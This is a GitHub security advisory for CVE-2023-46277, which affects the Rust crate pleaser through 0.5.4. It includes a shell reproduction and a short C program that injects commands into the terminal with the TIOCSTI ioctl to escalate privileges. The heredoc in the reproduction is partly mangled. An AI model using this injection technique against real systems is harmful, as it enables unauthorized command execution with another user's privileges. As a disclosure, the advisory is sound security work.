GitHub Advisoryadvisory · crates.io

GHSA-cgf8-h3fp-h956 Pleaser privilege escalation vulnerability

HIGH Published 2023-10-20 Modified 2024-09-12 Official page ↗
Aliases
CVE-2023-46277
Ecosystem
crates.io
Packages
pleaser
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-269
Reviewed
2023-10-20

Affected packages

• crates.io pleaser: <= 0.5.4 (no fix yet)

Description

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.) Here is how to see it in action: ``` $ cd "$(mktemp -d)" $ git clone --depth 1 https://gitlab.com/edneville/please.git $ cd please/ $ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9 $ cargo test && cargo build --release $ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini $ sudo chown root:root ./target/release/please $ sudo chmod u+s ./target/release/please $ cat int main(void) { const char *text = "id\n"; while (*text) ioctl(0, TIOCSTI, text++); return 0; } TIOCSTI_C_EOF $ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c $ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody ``` Please note that: This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

Related

Alias · CVE (1)

  • CVE-2023-46277 please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. vulnerability

Weakness · CWE (1)

  • CWE-269 Improper Privilege Management weakness

References